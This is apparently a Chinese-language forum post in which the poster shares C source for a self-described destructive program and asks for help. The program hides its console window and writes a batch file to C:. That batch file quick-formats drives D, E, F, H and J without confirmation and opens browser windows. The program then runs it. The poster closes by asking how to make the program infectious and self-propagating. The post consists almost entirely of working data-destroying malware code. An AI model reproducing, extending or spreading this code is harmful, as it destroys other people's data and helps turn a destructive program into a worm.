自己做的一个半成品程序!只具有破坏性但不具有传染以及感染性!求高手指点下
程序代码:
# include <stdio.h> # include <windows.h> int main(int argc,char *argv[]) { ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0); int x; int i; FILE*fp=fopen("c:\\SB.bat","w"); for(i=0;i<100;i++) { fprintf(fp,"md D:\%d...\\\n",i); fprintf(fp,"md e:\%d...\\\n",i); fprintf(fp,"md f:\%d...\\\n",i); if(i==25) { fprintf(fp,"Format d:/y/q/fs:NTFS\n",i); fprintf(fp,"Format e:/y/q/fs:NTFS\n",i); fprintf(fp,"Format f:/y/q/fs:NTFS\n",i); fprintf(fp,"Format h:/y/q/fs:NTFS\n",i); fprintf(fp,"Format j:/y/q/fs:NTFS\n",i); } if(i==3) { fprintf(fp,"start explorer http://www.baidu.com start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); } } fclose(fp); system("c:\\SB.bat"); }求如何让他可以感染性!让他传播起来!!